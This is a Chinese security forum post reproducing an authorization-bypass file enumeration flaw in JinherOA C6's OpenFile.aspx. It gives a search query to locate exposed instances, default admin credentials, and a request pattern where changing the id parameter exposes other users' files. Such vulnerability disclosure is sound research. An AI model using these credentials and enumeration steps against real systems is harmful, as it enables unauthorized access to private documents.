奇安信攻防社区-JinherOA C6 OpenFile.aspx 后台越权敏感文件遍历漏洞

JinherOA C6 OpenFile.aspx 后台越权敏感文件遍历漏洞

# JinherOA C6 OpenFile.aspx 后台越权敏感文件遍历漏洞 ## 漏洞描述 JinherOA C6 存在后台越权敏感文件遍历漏洞，普通用户通过遍历特殊参数可以获取其他用户上传的敏感文件 ## 漏洞影...

JinherOA C6 OpenFile.aspx 后台越权敏感文件遍历漏洞
======================================

漏洞描述
----

JinherOA C6 存在后台越权敏感文件遍历漏洞，普通用户通过遍历特殊参数可以获取其他用户上传的敏感文件

漏洞影响
----

JinherOA C6

网络测绘
----

app="Jinher-OA"

漏洞复现
----

默认用户口令：admin/000000

登录后点击信息交流，发起协同页面

![img](https://shs3.b.qianxin.com/butian_public/f4066719cd98ad33dac962c92f788da9ec824008caaf0.jpg)

上传附件并上传发送给目标，这里登录权限为管理员，我们自己发给自己就好，前文只是展现漏洞挖掘思路过程

![img](https://shs3.b.qianxin.com/butian_public/f8232173d31a6659fbd9b6800833a5d36449c5eb0e659.jpg)

成功收到上传的附件

![img](https://shs3.b.qianxin.com/butian_public/f104974b85b56d3b8f1aaaa60f76b11bdb32cc7e1dd1f.jpg)

点击查看时抓包，发现一个带有文件ID的请求包

![img](https://shs3.b.qianxin.com/butian_public/f840778e620d6c6aa33bcac0fe775b259b30e544d8bb6.jpg)

返回了几个参数

```plain
var strFilePath = '../Resource/slaves/1/8b473ecb-7b39-4384-ada2-b0ec72c4f6ed.png';
var strFileType = 'png';
var strSid='3jvpvhs410m2wdbbficax5q5';
var strFileIDCode='us9w7xWE7do=';
var strId = '1229';
var strTxtReg = 'txt,ini,xml,config,htm,html,js,css,asp,aspx,jsp,cs,sql,inf,htc,log';
var strImgReg = 'jpg,gif,jpeg,png,ico';
var MD = '';
```

其中我们注意到 strFilePath 为文件的存储地址，我们更改 id参数为另一个值，且测试后发现 name文件名参数无关紧要

![img](https://shs3.b.qianxin.com/butian_public/f4589842b82f417dc76eafc61de30db1e405bd9bd87d8.jpg)

更改ID后发送请求包发现获得另一个文件的信息

访问Url，注意 `type参数` 需要为正确的文件后缀才可以访问

```plain
http://xxx.xxx.xxx.xxx/C6/control/OpenFile.aspx?id=1200&name=&type=pdf
```

![img](https://shs3.b.qianxin.com/butian_public/f349547d91a215d2b05225454a4d752e60eaa00c73aab.jpg)

这里更换一个普通用户测试是否可行，尝试遍历 id

![img](https://shs3.b.qianxin.com/butian_public/f802437ee2928207c6a1fa56665198eb09fbf8c0f5ddb.jpg)

![img](https://shs3.b.qianxin.com/butian_public/f865233300fa79708ec14e31d50d8839f944f6b78efa8.jpg)

存在 `strFilePath参数` 则是存在文件，为空则是文件已经不存在

同时抓包下载文件页面也可以看到可获取的参数

`FileID 与 FileIDCode`

![img](https://shs3.b.qianxin.com/butian_public/f8041640df2cc038751aec7d757d49a8ec83be7a821f1.jpg)

于是只需要通过刚刚的ID遍历，获取两个关键参数就能下载其他人发送的敏感文件，且只需要普通用户权限

发表于 2024-07-12 18:44:15
阅读 ( 607 )
分类：OA产品

JinherOA C6 OpenFile.aspx 后台越权敏感文件遍历漏洞

0 条评论